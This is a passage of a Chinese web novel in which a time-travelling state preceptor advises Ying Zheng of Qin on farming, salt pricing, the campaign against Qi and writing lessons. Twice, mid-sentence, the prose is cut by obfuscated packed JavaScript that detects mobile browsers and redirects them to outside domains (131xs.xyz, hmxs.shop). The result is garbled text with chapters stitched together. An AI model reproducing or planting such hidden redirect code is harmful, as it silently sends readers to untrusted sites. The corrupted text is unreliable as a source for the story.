孙丞和田地、粮食打了一辈子的交道,隐约能悟出些规律来,但按照鹿尧所说之流程,放到鼻尖轻嗅时,积于心间的郁结骤然被植物清香冲破。
“我悟了!”
孙丞研究过许多不让粮食、种子发潮的方法,他一下就闻出两者之间的差别,站起身来,对着同样起身的章雨惊喜不已道:“我悟了,我悟了!”
章雨也隐约明白了些什么,但无法细说出来,只能眼巴巴看着鹿尧。
“那我种地的方式,有错误吗?”
“有。”鹿尧走上前,用锄头将地面上所有的土翻了出来,“你看你刨的坑,挖的坑太深了。”
她比划了一下,有的都快一尺深了。
“麦种播下去,嫩芽要钻半天才能出土,要是遇上连雨天,土一板结,嫩芽直接就闷在土里了,死也不会长成。”鹿尧左右看了看,指着后面几个坑道,“这几个就挺不错,两三寸正正好。”
“还有那个间距……”鹿尧忍不住扶额,“离这么远,是方便下脚,不踩住长成后的麦苗吗?”
“是呀。”章雨应了。
鹿尧瞠目结舌:“那你,怪聪明的。”
“嘿嘿……”
章雨正笑呢,胳膊上又是一痛,扭头看去,孙丞咬牙切齿:“你是不是听不懂好赖话?”
懒得再理这蠢蛋,孙丞继续请教国师:“依国师所言,这间距该多少合适呢?”
鹿尧比划了一下,孙丞嗯嗯点头,行距一尺五,株距五寸,将尺寸牢牢记在心中。
鹿尧用锄头在方才刨出来的土堆中捡出来几块大块的碎土,道:“种子要用细土埋,能盖住种子就行了,然后可以用脚轻轻踩一下,让种子和土壤亲密接触,之后才更好吸收水分。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528101|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
孙丞看鹿尧的双眼已经成了星星状,记下这些知识后,赞叹道:“国师大人!您懂得真多啊!”
鹿尧摆手不语,完全不敢说自己都是帮着园长种过几回白菜、萝卜、葱、菠菜和网上刷小视频得到的经验。
“你之后可再多研究一下,我所说的不一定完全适用所有种子。”鹿尧不敢打包票,但她所说的这些理论,肯定要比他们现在种地的方式科学。
孙丞拱手躬身:“国师今日传授之法,杰将广而传之,来年夏收,天下百姓必将感激不尽。”
“明年夏收……”鹿尧重复一遍,扶着孙丞起身,“今年是来不及了,明年夏种,或许有惊喜给你们。”
面对孙丞和章雨疑问的目光,鹿尧并未细说,她只是给自己定了个目标,画了个饼而已,能做到她就尽量做到,做不到的话,也没说出来,省的让大家空欢喜一场。
“章雨,你好好学,我给你的种子明年可有大用呢!”
章雨顿感肩上责任重大,紧张不已的推拒鹿尧递过来的种子袋:“这么重要的事情,还是交给官府的人吧!”
“孙丞正好在,给孙丞!”
鹿尧看了眼跑去用刻刀刻字的孙丞,道:“治粟内史的人我要带走有用,他们之后会很忙,这事儿还是教到你手里合适。”
章雨没了办法,只好将种子袋接了过来,发誓般保证:“我一定努力!”
鹿尧满意点头:“那你继续学吧,我带走孙丞了。”
“是!”
鹿尧挥挥手,带着孙丞一同进了治粟内史内院,和几个管事儿的索要一条完整的灌溉体系。
太仓陈令、均输郑令、籍田常令、都内吴令都愣住了,齐齐看向一侧的籍田孙丞。
孙丞恭敬之色不减,但面上犯了难:“国师,大秦如今的灌溉渠,多是早年各国遗留下来的旧渠,有的连水源都已改道,要凑出一整条‘完整’的体系,是不可能的……”
“是我讲话没有讲清楚。”鹿尧将自己揣着的洛阳地图拿出,铺到桌面上让众人围过来看,“我不想用以前的旧渠,向从洛水这里,引出一道主渠,顺着地势挖三道分渠,这样既能浇西边的旱田,又能排东边的涝地……”
“国师大人。”均输郑令打断鹿尧,“您所说这些我等早已想过,并且比完善。”
“嗯?那你们为什么不建,是有什么顾虑吗?”
太仓陈令为其解释:“修渠要征夫、要石料、要粮食,每一样都会花费大量的银钱,前线还在打仗,我等原是打算等王上一统六国后再上奏。”
“钱啊。”鹿尧兜里也是空空如也,她叹气道,“那你们继续研究着,书面呈一份报告给我,我先去赚钱。”
管国库的都内吴令弱弱询问:“国师的意思是不从国库出钱?”
鹿尧摆了摆手:“家底儿能不能就不动。”
她一边琢磨一边离开,完全没看到都内吴令如看在世父母一般的眼神。
“你们瞧瞧国师大人,多么识大体,多么顾全大局,知道国库的钱不能轻易动!”都内吴令感慨着,没得到附和,扭头一看,几位同僚已经讨论起修渠的具体方案了,他忙闭嘴,凑了过去一起商讨。
从少府内离开,鹿尧直奔大阳宫。
尚未走进,她就觉得殿内气氛有些不寻常。
【这是咋了,政哥看起来有点儿情绪不好,谁惹我们政哥生气了?!】
【不知道生气会折寿吗!惹我政哥生气就是偷我政哥寿命!】
鹿尧怒气冲冲,让嬴政想起了那日她剑指蒙嘉的情景。
他眉心微动,缓和了面上的僵硬的表情,微笑道:“你又有何事?”
【完啦,是我惹政哥生气了!】
嬴政一时顿住,鹿尧是从哪儿看出他是在对她生气的。
【呜呜呜政哥对我不耐烦了,可我来是有正事儿,想问问昨天细盐的事儿呢……】
【我做啥不对的事儿了吗?】
听着鹿尧疯狂反思的声音,嬴政心情这才真正的舒缓了,开口将自己不高兴的事儿告知三分:“你在福昌院留的话本,寡人看过了。”
鹿尧抬头,试探询问:“不好看吗?”
“好看。”
“看的寡人郁结于心,险些气晕。”
鹿尧震惊。
【政哥身体已经不好到看话本都会气晕了吗!不行,我还得研究研究医术,把什么药膳都整出来,不能让我政哥身体有一点儿毛病!】
嬴政气儿全消了。
鹿尧有什么错呢,她只是一把不通人情、更不通君王权术的剑而已。
剑有错,岂不是他这个主人也有错?
“如此降低君王威严的话本,以后不要写了。”嬴政耐心道来,“寡人不是那样无能的君主,你所写之事不会在寡人身上发生。”
“当然!”鹿尧急了,明白问题所在了,“是谁看了这话本,说您不好了吗?”
“我写这个是为了让他们知道君臣一体,君王要明辨是非,臣子要尽心辅佐,这样国家才能稳!”鹿尧气的在殿中打转,恨不得把那个说政哥坏话的人揪出来杀了。
【哇咔咔气煞我也!!!】
【是谁在曲解我的用意?政哥是那种能干出‘天子谋逆’的人吗!】
‘天子谋逆’。
嬴政忍俊不禁,是啊,这可不是天子叛国,自己谋逆了自己政权吗?
嬴政清嗓咳嗽:“好了,鹿陀螺,再转寡人就要去寻鞭子了。”
【政哥要抽我?】
【行啊!古今被政哥抽过的,唯我一人!】
对上鹿尧亮晶晶的眼神,嬴政嘴角抽搐,道:“寡人只是同你开玩笑。”
“好吧。”
这失望的语气,嬴政扶额,真是打鹿尧都怕她会爽到。
“你来找寡人何事。”
“哦哦,盐。”鹿尧问,“王上,今儿有人来问你细盐的事儿吗?”
嬴政想起这回事儿了,咳咳两声,唤了赵高进来。
赵高一听缘由,悄悄瞄了一眼王上:“李斯候在殿外,王上可要召见?”
“快请进来!”鹿尧急切,直接自己出去迎李斯了。
李斯看到鹿尧正要小声寒暄,就听对方邀请自己用膳,他环顾四周,弱弱问:“是王上所说,请你我二人用膳?”
“我请!”
李斯张口欲言,却被后来的赵高打断:“正好午时,若是国师大人愿意同王上一起用膳,王上定会笑颜重现。”
后面四字直接明示李斯,李斯只好应下。
用膳时,李斯和鹿尧面对面而坐。
鹿尧炽热的视线如影随形,无时无刻不黏在李斯身上。
借着夹菜的动作,李斯将自己全身上下扫量了一遍,都没找到他为何被国师这般盯着的原因,终是忍不住,放下食箸,询问道:“国师可是有话同斯讲?”
“有的有的。”鹿尧立刻接话,“你今早用膳了吗?”
李斯回忆了一下自己朝食,道:“斯朝食用的是芥菜饼。”
“你有没有觉得味道有些不对?”
瞧着鹿尧眼巴巴望着李斯的模样,嬴政掩面,好似已经看到李斯口袋里的俸禄被她掏空。
话说到这里,李斯也不是傻子。
“昨日夕食,国师所赠细盐便已用完,粗盐着实硌嘴,由奢入俭难,斯只用了半月细盐,便被养刁了嘴。”他看向首位,感恩道,“用了王上所赐午膳,臣感觉全身都舒坦了。”
嬴政不语,胡思乱想着李斯兜里没钱了,会不会带着盐去同僚家蹭饭。
鹿尧一听李斯这话,眼睛瞬间亮了,放下筷子往前凑了凑:“那你说,要是有细盐供应,你愿意出多少价钱买?”
李斯被她直白的问法噎了一下,下意识看向王上,见王上并未制止鹿尧所问,明白了这顿饭是何用意,斟酌道:“斯愿以每月俸禄的三成来换。”
“三成?那你每个月俸禄有多少啊?”
李斯如实告知,然后就看见鹿尧掰着手指头算来算去,最后期期艾艾抬头:“能五成吗?”
五成……
李斯看向鹿尧,明显是被她的言论惊到了。
他现在不觉得粗盐硌牙硌嘴了,粗盐挺好的哈。
“哈哈哈——”嬴政拍案而笑,“李斯,你就把你今年的一半俸禄拿出来吧,让鹿尧供应你明年一年的细盐!”
嬴政还不曾见过类似这目瞪口呆的样子:“你可要知足,这细盐,寡人可不止要这个价!”
【什么,一半还不够多吗?】
【政哥要要多少啊,虽然细盐很好,但是它也不能当饭吃……】
赵高此时站了出来,道:“前些时日就有大家贵族托人询问奴细盐价格,奴回的是,有价无市。”
李斯意识到自己手里拿的俸禄并不是王上的目标,便畅所欲言道:“王上所用之细盐,金贵无比,能让贵族、朝臣食用,是为恩赐。”
“斯以为,一金换一斤,实为合适。”
“?”鹿尧以为自己听错了,“多少?”
“一块金子,换一斤细盐。”李斯一字一句道。
鹿尧看向嬴政,见他神态表露出满意之色,暗暗道赚钱这事儿,她还得学!
“那王上您的兄弟姐妹们购买细盐……”
“统一价,除寡人赏赐外,一金换一斤。”嬴政直言道,“与其把钱挥霍到寡人看不见的地方,不如花到口腹之欲上。”
“他们的钱,可谓是取之不尽,用之不竭。”
鹿尧并不清楚宗室、贵族子弟的家底有多厚,但听王上这般讲,认定秦朝有几十、几百个和珅。
【那按照这个进度,过年前我就能凑到修路、修渠的钱了!】
【我得赶紧研究柏油路了。】
【诶不对,光看着金子忘记还要做细盐了,头一批盐可得好好做啊!】
嬴政道:“寡人早已吩咐蒙毅传技给斡官长了,此时正如火如荼干着!”
“王上威武!”鹿尧开心不已。
李斯正在琢磨自己的存钱,趁着国师开心,厚着脸皮道:“斯尚有存钱,不知可否从您这儿多买些细盐。”
“当然可以。”鹿尧看向李斯,“但你可不能拿出去倒卖哦!”
嬴政被鹿尧敏锐的洞察力惊到了,李斯也是跟着一惊,赶忙道:“知法犯法之事,斯不会做!”
“我只是提醒你一下,不然贵族知道你手里是低价买的,都来你这儿买,到时候你赚成下一个和珅就不好了。”
鹿尧完全是在说玩笑话,但李斯背脊已经湿了。
他看向王上,再次重复道:“斯不会做知法犯法之事。”
秦在盐上的律法十分严苛,李斯作为法的编纂者之一,断然不会做违背自己准则之事。
嬴政清楚,因此示意他安下心。
用完膳,嬴政带着两人在宫内走走消食,李斯顺势将自己的计划讲出。
……
【这是要把我捧成神啊!】
【这万一什么事儿我没做到,从神坛上摔下来岂不是会死的很惨!】
22. 第22章
对于李斯的提议,嬴政是心动的。
他看向鹿尧,两人目光相对……
一种不太妙的感觉让鹿尧拔腿就想跑。
嬴政手疾眼快,修长的手指拽住了鹿尧的后衣领:“你是寡人的国师,更是大秦的国师,未来,是天下的国师。”
嬴政眼睛微眯,把鹿尧提到了自己面前,两人对视:“以你之能,寡人愿给你与寡人一般的地位。”
鹿尧下巴都掉到了地上。
【政哥敢说我不敢听啊,咱就是给政哥当牛做马的命,还跟政哥平起平坐?】
嬴政眉眼一扬:“李斯,你对此有何看法?”
恨不得自己存在感降到最低、原地从大阳宫消失的李斯面不改色道:“国师之能,当得。”
只火药一事就足以大秦将她奉为座上宾了。
【事已至此,就已至此!】
【左右我的任务就是帮政哥向前一步,能帮到哪儿就看天意吧!】
鹿尧也摆烂了。
“赵高!”嬴政高呼,赵高快步而进。
“宣王翦,王贲入宫。”
“是。”
鹿尧诧异:“这计划现在就开始?”
李斯点头,为鹿尧解释:“国师有所不知,齐国近年倚仗海滨渔盐之利,虽国库充裕,却早已武备废弛。齐王建继位以来,偏安一隅,常年不与诸侯交战,军中将士多是未经沙场的新兵,就连老将田单留下的战法兵书,也早已被束之高阁。”
他上前一步,目光落在殿中悬挂的天下舆图上,指尖点向齐国疆域:“更关键的是,齐国与我大秦之间隔着韩、魏旧地,此前我等攻燕之时,已暗中遣人加固了沿途的粮草转运通道,如今粮草器械皆已备妥,只需王翦将军率精锐从济北突袭,王贲将军领兵从琅邪牵制,两路兵马互为犄角,不出十日便能兵临临淄城下。”
李斯回头看向鹿尧,眼神中带着几分笃定:“再者,齐国素来与燕国不和,如今我大秦破燕,齐人必以为是渔翁得利,定会放松对我大秦的戒备,转而提防残存的燕人势力。此乃‘趁虚而入’的绝佳时机,若等到明年开春,齐人便会反应过来,加固城防、整肃军备……”
早在李斯说“齐国近年倚仗海滨渔盐之利,国库充裕”时,鹿尧就已经听不进去他之后所说的话。
【那齐国的水军岂不是现成的劳动力!】
嬴政视线再度落到鹿尧身上,接过来了李斯的话:“早日打下来,也省的我军推翻进去再重建。”
“王上宽厚善良,为齐国之幸。”李斯适时附和。
“是啊是啊,齐国最好举手投降,直接融入我们这个美好的大家庭。”鹿尧也跟着夸赞,只不过有些心不在焉。
【也不知道政哥的水军和齐国的水军相比,哪个对海更为熟悉,若是现在就有一批可以出海的军队,那可是相当牛了。】
【不说别的,先把沿海的盐场管起来,再探探海上有没有什么岛屿,搞不好还能发现新的资源呢!】
出海……
嬴政琢磨着鹿尧说的应该是楼船之士,齐国那点儿小地方,船只再多撑死也不过秦船半数。
自司马错统水军十万,大舶船万艘,沿涪陵江攻打楚国黔中,秦的实力就无人敢置喙了。
区区齐国……
嬴政笑了。
等到了齐国,让鹿尧自己看看两国的差距吧。
饮了一口茶,见鹿尧坐立难安,嬴政道:“你若是想离去,就直说,坐在那儿让寡人瞧着都难受了。”
【李斯还在,我就托大走了,多显得我目中无人啊。】
鹿尧快速瞄了一眼李斯,见他跪坐之姿端正,一如刚来一般,便也悄悄挺直了脊背,作出乖乖听讲的模样。
李斯何等精明,早已捕捉到国师的视线,当即拱手道:“此计只需国师跟着走个过场,后续调兵遣将之事,臣与王翦将军父子商议便可。国师刚上任,府中事务定然繁杂,王上,臣以为可准国师先退。”
“准了。”嬴政挥了挥手,看向鹿尧时,眼底多了几分纵容,“去忙你的吧。”
鹿尧嘿嘿一笑,躬身行礼:“谢王上!臣告退!”
话音未落,脚步已轻快地朝着殿外走去,那模样活像身后有猛兽追赶。
看着她的背影消失在殿门处,嬴政才收回目光,看向李斯:“国师心思,似在齐国水师?”
李斯先是诧异王上从何处看出来的,后又想起精盐一事,了悟,暗暗感慨道:王上与国师当真是心有灵犀。
“齐人善煮盐、熟水性,国师许是想将其收编水师,为我大秦所用。”
嬴政起了一丝兴味,指尖敲击案桌。
问:“蒙毅何在?”
“回王上,蒙毅将军下值后就去研盐司了。”
研盐司,是蒙毅教人制作细盐的地方,这名字还是请教李斯之后取的。
李斯紧跟着回到:“这些日子蒙毅将军除了当值就是去监督研盐司的宫人们制盐,两点一线,许久不曾回家。”
“怪不得这几日总是闻到咸味,寡人都以为是自己嗅觉出问题了。”嬴政笑,“寡人的蒙毅将军,快被盐的咸味腌入味了。”
李斯也随之而笑:“如此,方不辜负国师教导之心。”
“攻齐时,齐之船只与工匠务必保全。”嬴政可不愿意看到他好好的将军,醉心于制盐,得找一个可用之士,接替蒙毅。
“是。”
两人话罢,赵高才缓缓而进,引王翦父子进殿。
李斯将自己计谋全盘告知,王贲双眼都亮了,在父亲发表完赞同的见解之后,忙不迭向王上保证:“国师此行,我必豁出性命保障其安危!”
崇敬之态使得嬴政十分满意:“王贲与国师,颇有王翦与寡人之往矣。”
王翦欲言又止。
他对王上只有身为臣子的忠诚之心,可没有别的爱慕之情……
王贲拱手,生怕王上因为自己对国师过于殷勤的态度引得王上对国师心有芥蒂:“国师多次救臣于敌人刀下,又数次点拨于臣,于臣有救命之恩和教导之恩,堪为臣之师。”
和王贲所担忧不同,嬴政心中充斥着骄傲二字。
也不看看国师是谁铸造的剑!
王贲崇拜乃至追随于她,实属正常!
嬴政大手一挥:“那便由你带队,全程护送国师!”
说及此,嬴政兴味再次被拉起:“寡人前些日子让尚衣局给国师预备了新样式的衣裳,让绣娘全部停下手中的其他衣裳,全力赶金莲修罗那件衣裳。”
“赵高,你去寡人私库里取出楚国那儿收缴的金线,务必要让国师出现在齐国的第一面就让他们望而生敬。”
嬴政兴致上头:“再去取几箱金子,让匠人融了打成金莲,寡人要让国师步步生莲!”
王贲虽然不知道金莲修罗那件衣裳长什么样子,但王上一番描述让他也忍不住拿出自家好物:“王上去年赏了两颗夜明珠给父亲,那是极难得的好物,用来给国师夜间照明正为合适!”
王翦眼睛都微微瞪大了些许,快速给了王贲一肘子。
那夜明珠他可是答应了夫人将来给女儿出嫁的嫁妆!
王贲全然没看懂父亲的意思,他还在嘟囔着家里有什么好物可以拿出来供国师使用。
“家中还有前年征讨赵国时得到的玄铁甲片,虽不如国师的软甲轻便,却也坚不可摧,可给国师的侍从装备上;还有母亲珍藏的北地狐裘,冬日出征最是保暖,也该备着……”
短短几句话,王翦脸都绿了。
李斯忍俊不禁,站在王翦身侧,悄声道:“有此子,乃王家之幸啊。”
“这幸给你,你要不要?”王翦脸由绿转黑,狠狠咳嗽了两下,打断王贲这个败家子把家底彻底掏空。
王贲后知后觉意识到父亲生气了,眼神询问发生了什么。
“你娶媳妇的聘礼都快掏出来了,你将来还拿什么娶媳妇?”王翦恨不得脱了鞋拿袜子堵住他的嘴,再这样掏下去,他都要改姓跟着国师姓鹿了。
父亲说的话在理。
王贲闭了嘴。
待王上意犹未尽的止住话头,将话题引回正道,定下进攻齐国的路线,把虎符分授王翦,着重强调了一下保全齐国楼船之士,才让他们退下。
“大人您要同军队出征齐国?!”连云惊愕抬头,放下手中的毛笔,快速走到鹿尧身边,“您不是刚回来没多久吗?”
鹿尧将李斯那套说辞搬了过来,为她解释。
连云听得云里雾里,她低低嗯了一声:“奴去给您准备出征所用之物。”
鹿尧伸手拉住她:“我还未讲完。”
“连月呢?”鹿尧环视一周,没看见连月的身影。
“在尚食局研究您给的膳食。”连云道,“前些日子少府把您要的铁锅打出来了,连月在学炒菜。”
鹿尧顿时两眼放光。
炒菜诶,终于可以不吃蒸、煮、烙的膳食了。
“那你告诉她也是一样的。”鹿尧咽了一口口水,才认真询问,“此次出征齐国,你们可愿同我一起?”
连云惊讶:“奴?”
鹿尧点头,将路途上可能会遇到危险的情况提前告知于她:“但我也会尽最大努力保护你们。”
连云神情激动,点头如捣蒜:“奴愿意,奴妹妹肯定也愿意!”
“我们姊妹二人本来就是为侍奉大人而来,先前若是能陪您出征燕国,我等也定然相随!”
鹿尧摸了摸连云的头,安抚她激动的心情:“好,用完午膳你去找一下赵高,告诉她你同我等一起。”
“嗯嗯!”
“你字学的怎么样了?”鹿尧走到书桌前,将镇纸拿起搁到一旁,仔细去看连云一笔一划写的简体字。
是的,简体字。
原先请来的老师学写的字是秦朝现有的文字大篆,笔画之多、之完全,仿若画画。
鹿尧拿剑都不抖的手,拿起笔写大篆来却是抖的难以自控,一怒之下怒了一下,让老师走了,自己教导起连云学简体字了。
“您写的千字文奴都已经认全了,只是有些字还写的不熟练,有些丑……”连云有些羞涩,和国师横平竖直的字迹相较,她写的实属有些软趴趴,不堪入目了。
鹿尧从上初中开始,学校就学着衡水中学,要求所有学生的练得一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564440|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手整齐、堪比印刷的衡水体。
看着纸上秀气的方块字,鹿尧感慨:“幸好我老师不认识你。”
她当初描字贴描了半年多,都没达到老师要求的标准,被骂了好久。
她正想着,若是连云是她同学,一定会被老师挂在嘴边天天夸奖,一抬头,就看见一个眼含水花,羞愤咬着嘴唇的连云。
“是奴给大人丢人了……”连云哽咽着,神情十分可怜,“若是大人老师来了,奴定然不会说是您的学生,不会在他人面前丢您的脸面……”
泪珠啪嗒落下,鹿尧认真反思了一下自己方才话中的歧义,立刻解释道:“是我的问题,我本意是想夸你写的很不错。”
“连云,别忘记你才学写字一个月多,你要知道多少贵族子弟都没有你现在的字好看啊!”
“真的吗?”
鹿尧正无措时,远远看见一个有些眼熟的身影,高声诶了一下,招手示意他快点过来。
走进发现是扶苏身边的侍从原竹,鹿尧研磨,让他坐下,比葫芦画瓢写一下?字。
原竹看着这纸上的东西,头晕眼花:“这是……梵文符咒吗?”
“别管,你写就是。”鹿尧将毛笔递给他,又取了另外一支毛笔给连云,“你也写。”
原竹见连云红着眼睛一声不吭的开始写,心中突突,难道这是国师大人对他的试炼?
挽了袖子,从上到下,从左到右,原竹极为认真,一笔一划的开始画……
然而他写到“幺”时,连云已经放下毛笔了。
原竹额头开始冒汗,在心里暗骂自己。
死手,快画啊!
在三双眼睛的注视下(连月回来了),原竹终于画完了。他松了一口气,放下毛笔,正眼一看自己的成果时,眼前一黑。
这一团墨,是他画出来的东西吗?
鹿尧将两张纸张放到一起对比,她什么也没说,扭头就去尝炒菜了。
连云连月一左一右凑在原竹身边,前者呢喃道:“原来大人并没有骗我。”
“姐姐,这是什么字,你认识吗?”
“不认识,从未见过。”
“哇,姐姐,你写的笔画和大人相差无几诶!”
“嗯!我也觉得!”
连云开心了,笑着感谢原竹:“谢谢你。”
原竹看着姐妹俩同步从自己身边离开,愣在原地。
鹿尧嗷嗷炫饭,见连云过来了,嘴巴不停,用筷子指着桌上饭菜,示意对方快尝尝。
见她犹豫,鹿尧干脆直接的夹了一筷子炒肉片放到她嘴里。
外焦内嫩,混着酱汁咸香的猪肉香在舌尖散开,连云嚼了两下咽下,看连月的目光震惊不已:“天呐,连月这真的是你做的吃食吗?”
连月微微昂起下巴:“那当然!”她做了十多次,才将火候彻底掌握好,那些大厨们现在都求着她教一教呢!
鹿尧干饭的速度足以证明连月的厨艺有多好,叨菜途中给她竖了一个大大的大拇指!
连云夸赞完便将他们同大人一起出征的消息告知连月,连月兴奋的模样一如连云刚知道时。
“大人,奴可以带一口铁锅去吗?”
“可以!”鹿尧小鸡啄米式点头,现在谁都可以不去齐国,除了连月和锅!
连月俯身行礼,脚下打滑,一溜烟跑了。
她要去厨房带走她的大铁锅了!
连云本欲伺候着大人用膳,就见桌上菜肴几乎被扫劫一空。
“你快坐下吃,剩下的是留给你的,我都没动过。”鹿尧扒着嘴里的饭站起来了,她放下碗筷,嘴里嘟囔着道,“我还有事儿,吃完你自己收拾下自己的行李嗷,走的时候赵高会告诉我们时间的。”
“是。”
鹿尧人走到门口了,想起原竹方才似乎是往她住处这个方向走的,又倒回去,喊原竹:“你是来找我的吗?”
正拿着毛笔和那符咒似的文字干架的原竹猛然惊醒自己来此处是为了请鹿尧前去福昌院,赶忙站起身,详细道明。
“他们打起来了?”鹿尧有些不解,“因为什么事情?”
“您初见面时提出的马车难题,到底是撞一个人还是撞五个人的问题。”
“……”
鹿尧真的没想到已经过去这么些天了,他们竟然还在想这个问题。
好吧,她的锅,她自己来背。
尚未走近福昌院,鹿尧就听见里面吵嚷之声。
探头一看,那是唾沫漫天飞啊。
扶苏面不改色坐在正中间,以身阻止两方人打起来。
“死一个人是死,死五个人也是死,你怎么不说那疯马撞死五个人之后进入集市,将一整条街道上的人都撞死了呢?”
“邪门歪理!”
“照你所说,那疯马一直撞人,我们干脆不用打仗了,把这马往六国门口一放,让它把六国的人撞死得了!”
鹿尧叹为观止。
你别说,这想法还真有点意思,
“国师大人,您来了!”
“什么,国师来了?”
“国师大人,您来说,这马车到底该往哪条道走!”
24. 第24章
看着坐在树下品茶的王上,赵高扶着门框气喘吁吁地笑了。
去大阳宫没见到王上,他就猜王上是来找国师大人了。
瞧瞧,他猜的多准。
“赵大人。”
连月捧着一碗冒着热气的东西从侧廊而来。
“这是奴照着国师大人给的食谱做出来的奶茶,里面放了红枣和牛奶,您尝尝味道怎么样?”
赵高接过来,温热的瓷碗散发出甜丝丝的味道,他好奇的抿了一口,醇厚的奶香裹着红枣的蜜甜在舌尖化开,还带着一丝茶叶的清苦回甘,比寻常的茶汤多了几分柔润,叫人眼前一亮。
“王上手里喝的也是这个?”
“正是。”连月颇为骄傲,“王上已经喝第二碗了!”
“这般独特的东西,唯国师能想出来。”赵高夸赞道,而后打量连月,见她整个人的精气神儿都和从自己这儿离开时不一样,打趣般的询问,“国师这儿的风水是不是要比其他地方好?瞧你这模样,都胖了一圈。”
连月摸了摸自己脸颊上的肉,有些不好意思:“我和姐姐平日里都是和大人一起用膳,我更是一直待在厨房研究食谱,吃胖倒是理所应当。”
一起用膳?
赵高刚要说话,就听连月慌忙解释:“奴知道和主子一起用膳是大忌,可头两次拒绝大人生了气,道若是下回还拒绝,就是不喜欢她,看不起她,我和姐姐不敢不坐下一同用膳……”
他再次张口:“我……”
“怎么了这是?”鹿尧不知从哪里冒了出来,面色不善,“赵高,你欺负人欺负到我家门口了是吗?”
赵高嘴巴张的能塞下一颗鸡蛋:“冤枉啊国师大人!我什么都没说,就夸了您一句奇思妙想,这等特殊又美味的东西都能制作出来!”
“连月,你快说话啊!”若不是赵高手中端着碗,他就要推搡连月,让她快点儿解释清楚了。
连月垂头,低声道:“是,赵大人夸大人奇思妙想。”
赵高心中急切,连月平日里做事挺机灵的,怎么现在让她好好解释一下,嘴巴却不会说话呢?
“主子,赵大人真的没有对奴做什么,您别误会。”
或许是感觉到了赵高急切的心情,连月再度开口解释。
“是啊,国师,您看她本人都这么说了,您就别用这样的眼神看着我了……”赵高也是纳了闷了,怎么连月越说话,鹿尧看自己的眼神越冷呢?
“他当真没有对你做什么?”鹿尧复问连月,“若他真的欺负你了,我一定会替你做主。”
赵高见着连月摇头,心中提着的那块石头缓缓降下。
正要落地时,忽然感到脖颈一凉。
再抬头,他对上一双杀气腾腾的眼睛……
“王上!”赵高拔腿就跑,他丝毫不怀疑鹿尧下一秒就会拔剑杀了他。
“王上,您喝的是奶茶吧!连月给了臣一碗,哎呦喂您别说,这味道真是好极了!”
赵高一边夸张的表演着美味,一边躲到王上身后,用眼睛余光悄悄的瞄向疾步而来的鹿尧。
“王上,救命啊!”
“王上,王上!臣真的没对连月姑娘做什么啊!”
连月怯生生跟过来,一张圆脸上写满惊慌失措四字。
“你没做什么你为什么害怕?”鹿尧态度甚是平静,反倒显得赵高惊慌失措的模样格外招笑。
“是啊,赵大人,奴已经和大人解释清楚了,您没对奴做什么,您干嘛在王上面前这般表现?”连月声音虽小,但胜在咬字清楚,在场的人听清楚了她说的每一个字。
“你,你……”赵高捂着心脏,感觉自己要过去了。
他看明白了,连月是故意的!
她竟然敢睁眼说瞎话,欺骗国师和王上!
嬴政蹙眉:“大呼小叫成何体统?”
“国师若是要杀你,三步之内你的头就已经滚落到地上了,你还能跑着到寡人面前呼救?”
“这……”
赵高认真思考了一下。国师武功非常之高,王上说国师三步之内杀了自己属实是给自己面子,要他说,脚刚抬起来还没落下,他的头就已经从东头滚到西头了。
如此,国师真的没对自己动杀心?
赵高咽了下口水,抬头再看去时,国师一脸平静,似是不明白他在吵嚷什么。
难道他刚刚出现幻觉了?
也是,国师大人那么聪明,怎么会被连月耍的那点儿小伎俩骗到。
赵高抹了把额头上的冷汗,恢复镇定,向王上和国师赔罪认错:“是臣看错了。”
【赵高竟然这么害怕我,下回试试看能不能把他吓死。】
嬴政借着茶盏的遮掩,无声笑了。
鹿尧对赵高的恶意,一如既往啊。
“行了,寡人此次来是有正事,赵高,你莫要捣乱了。”挥挥手示意赵高退下缓缓,嬴政直入正题。
“鹿尧,你可曾觉得这秋日越发寒冷?”
鹿尧疑惑了一下,显然是没明白嬴政这话是什么意思。
她仔仔细细感受了一下,认真回道:“没有啊。”
【这不是秋天的正常温度吗?】
穿越过来时,她家里也是秋天,十度左右的气温很正常呢。
嬴政眉头微挑,直接道出治粟内史担忧的雪灾问题,请教道:“依你所看,今冬会有雪灾吗?”
【政哥,你不能拿我当天气预报看啊!这才十月,我上哪儿知道十二月底,一月份的事情?】
【再者,就算是天气预报,也只能报十五天以内的天气情况呀!】
嬴政若有所思,原来鹿尧得有一个名为天气预报的神器,才能知道天气情况,回头派人去查查,何处有天气预报的踪迹。
【而且我在这儿没有度过过冬天,当地的气温是什么情况要根据往年来判断,让我凭空讲,我也是说不出来个子丑寅卯来。】
嬴政点头,这确实是他疏忽了,把鹿尧想成万能的了。
她只是一把剑而已,自己不能这么高要求的希望她什么都能知道。
“即如此……”
【不过虽然我不知道会不会发生雪灾,但我有很多预防雪灾的手段呀!】
【都告诉政哥不就得了!】
正站起身,开口提出离去的嬴政又坐了下来。
鹿尧完全没有注意到这个细节,她一边回忆以前老一辈人讲的防雪灾知识一边道:“未来是否会发生雪灾一时我无法预测,但我有几个可以使用的预防雪灾小妙招。”
“最简单的方法就是撒盐,盐能降低雪的‘熔点’,均匀的撒到路面、屋顶上即可。”
“其他的妙招呢?”嬴政想都没想就放弃了这一招。
百姓都吃不起粗盐,把盐撒到房顶?
等不急下雪,房顶就要被抢盐的人踩踏了。
